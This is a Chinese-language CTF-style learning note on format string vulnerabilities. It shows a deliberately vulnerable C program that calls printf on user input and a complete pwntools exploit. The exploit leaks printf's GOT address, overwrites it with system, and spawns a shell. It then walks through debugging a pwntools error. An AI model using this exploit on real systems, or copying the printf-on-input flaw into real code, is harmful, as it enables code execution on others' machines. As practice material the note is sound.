格式化字符串漏洞(1)
格式化字符串漏洞
#include<stdio.h>
void main(){
char str[1024];
while(1){
memset(str,'\0',1024);
read(0,str,1024);
printf(str);
fflush(stdout);
}
}
# echo 0 > /proc/sys/kernel/randomize_va_space 关闭ASLR
编译命令
gcc -fno-stack-protector -no-pie fmt2.c -o fmt2 -g
解题思路就是,修改printf函数在got表上的值,使其为system的真实地址,由于关闭了ASLR和PIE,这些地址可以调试得到。
环境是Ubuntu22。
exp
from pwn import *
p = process('./fmt2')
elf = ELF('./fmt2')
libc = elf.libc
offset = 6
context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(p,'break main')
printf_got = elf.got['printf']
#printf_got = 0x404019
print('printf got:',hex(printf_got))
#system = 0x7ffff7e17290 # 6 bytes,\x90\x72\xe1\xf7\xff\x7f
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
print("payload: ", repr(payload))
print("recv: ", repr(info))
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print("offset:",offset)
payload=b'a'*4 + b'%7$s' + p64(printf_got)
p.send(payload)
printf_addr = u64(p.recv()[4:10].ljust(8,b'\x00'))
log.info("printf_addr => %s"%hex(printf_addr))
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.info("system_addr => %s" % hex(system_addr))
payload = fmtstr_payload(offset,{printf_got : system_addr},write_size='byte')
log.info("fmtstr_payload:{}".format(payload))
p.send(payload)
pause()
p.send('/bin/sh')
p.recv()
p.interactive()
原本是这样写的时候
payload = fmtstr_payload(offset,{printf_got : system_addr})
代码会报错:
File "/mnt/hgfs/CTF/Pwn/learnPwn/fmt/fmt2.py", line 19, in <module>
auto = FmtStr(exec_fmt)
File "/usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 844, in __init__
self.offset, self.padlen = self.find_offset()
File "/usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 864, in find_offset
leak = pack(leak)
File "/usr/local/lib/python3.10/dist-packages/pwnlib/util/packing.py", line 149, in pack
raise ValueError("pack(): number does not fit within word_size [%i, %r, %r]" % (0, number, limit))
ValueError: pack(): number does not fit within word_size [0, 140732163634592, 4294967296]
后来加上了write_size='byte'
后就没问题了。